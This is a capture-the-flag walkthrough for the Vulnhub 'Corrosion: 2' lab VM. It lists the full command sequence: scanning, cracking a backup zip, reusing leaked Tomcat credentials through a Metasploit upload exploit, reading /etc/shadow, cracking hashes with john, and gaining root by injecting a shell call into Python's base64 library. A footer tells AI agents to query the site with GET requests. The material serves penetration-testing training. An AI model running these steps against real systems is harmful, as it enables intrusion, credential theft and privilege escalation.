Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine.\
This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let’s get started and see how we can split things down into smaller chunks.
### Download
* **Corrosion2.ova** (Size: 5.1 GB)
* **Download (Mirror)**:
### Pentest Methodology
**Network Scanning**
* netdiscover
* nmap
**Enumeration**
* dirb
* fcrackzip
**Exploitation**
* Metasploit
* /etc/shadow
* john
**Privilege Escalation**
* ssh
* python library hijacking
* root flag
**Level: Medium**
### Network Scanning
To begin, we must use the **netdiscover** command to scan the network for the target machine’s IP address.
```shell
netdiscover
```
The victim’s IP address, in this case, is **192.168.1.186**.
We’re going to use **Nmap** to help us move this process along. To see all of the services stated, we need to know which ones are now available.
```shell
nmap -sV 192.168.1.186
```
According to the nmap output, we have:
* An SSH server is available on port 22.
* On port 80, there is an HTTP service (Apache Server).
* On port 8080, a Tomcat server is running on port 8080.
### Enumeration
Let’s begin by looking at the http service on port **80**. There’s nothing strange about that; it’s just an **Apache server page.**
Next, we looked at the **Tomcat server**, which was listening on port **8080**. It’s a straightforward page with nothing suspicious on it.
We discovered nothing harmful on websites. So, to continue further in this experiment, we use the **dirb** directory brute force method to find some knowledge. Smash!! We discovered a directory containing a **backup zip file**.
```bash
dirb http://192.168.1.186:8080/ -X .php,.zip
```
The **backup zip file** is then downloaded using the **wget** command. Following that, we attempted to study this file, but it was **password protected**.
{% code lineNumbers="true" %}
```shell
wget http://192.168.1.186:8080/backup.zip
unzip backup.zip
```
{% endcode %}
Next, we’ll use the **fcrackzip** utility to crack this password. It is a lightweight, open-source zip file password cracker. The **rockyou** word-list is used for the brute force attack. Boom!! We cracked its password in a matter of seconds **(@administrator\_hi5).**
`fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip`
Then we use this password to unzip the **backup zip** file. We attempt to inspect each and every file contained in this backup zip file. We are now inspecting the **tomcat users xml** file.
{% code lineNumbers="true" %}
```shell
unzip backup.zip
cat tomcat-users.xml
```
{% endcode %}
Bam!! We discovered user **admin** and password **melehifokivai** credentials.
### Exploitation
Now that we have the credentials, we can begin exploiting them using a **Metasploit**. In these instances, employing a **Tomcat exploit** is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a **meterpreter session**.
{% code lineNumbers="true" %}
```shell
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.186
set rport 8080
set httpusername admin
set httppassword melehifokivai
exploit
```
{% endcode %}
We just switched the directory to home. We discover that we have two users in this lab, **Jaye** and **Randy.** We switched to user **jaye.** It has the same password **(melehifokivai)** that we found out earlier.
{% code lineNumbers="true" %}
```shell
cd /home
ls
su jaye
ls
```
{% endcode %}
We discovered that this individual has a **look** called the .program that allows us to locate any file. As a result, we use it to locate the **/etc/shadow file**. Boom!! We obtained the **hash values** of all users in this lab.
```shell
./look '' /etc/shadow
```
As you are aware, we already have the password for user Jaye. We copy user **randy’s hash value** and save it in a file called hash.
Using **John,** who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password **07051986randy.**
```shell
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Privilege Escalation
Now, we have all of the necessary information to begin privilege escalation. To login via ssh as user **randy,** we use the cracked password **07051986randy.**
```shell
ssh randy@192.168.1.186
```
Then we used the **(sudo -l)** tool to examine this user’s limits. We discovered that it can be abused by **python library hijacking**.
The **randombase64.py** python code can be used to perform this **hijacking**. which imports another file called **base64.**
{% code lineNumbers="true" %}
```shell
sudo -l
cat /home/randy/randombase64.py
```
{% endcode %}
To obtain base64 file coordinates, we use the **locate** command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain **root access.**
{% code lineNumbers="true" %}
```shell
locate base64
ls -la /usr/lib/python3.8/base64.py
```
{% endcode %}
We made some changes to this **base64 python file** using the nano command. Add this code to get **root access** to the victim’s machine.
```python
import os
os.system ("/bin/bash")
```
We are now coordinating the use of both **Python files.** Boom!! We obtained root access. We immediately changed the directory to **root** and received the **root flag** in a matter of seconds.
{% code lineNumbers="true" %}
```shell
sudo /usr/bin/python3.8 /home/randy/randombase64.py
cd /root
cat root.txt
```
{% endcode %}
This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://book.loliteam.net/my-hacking-materials/corrosion-2-vulnhub-writeup.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
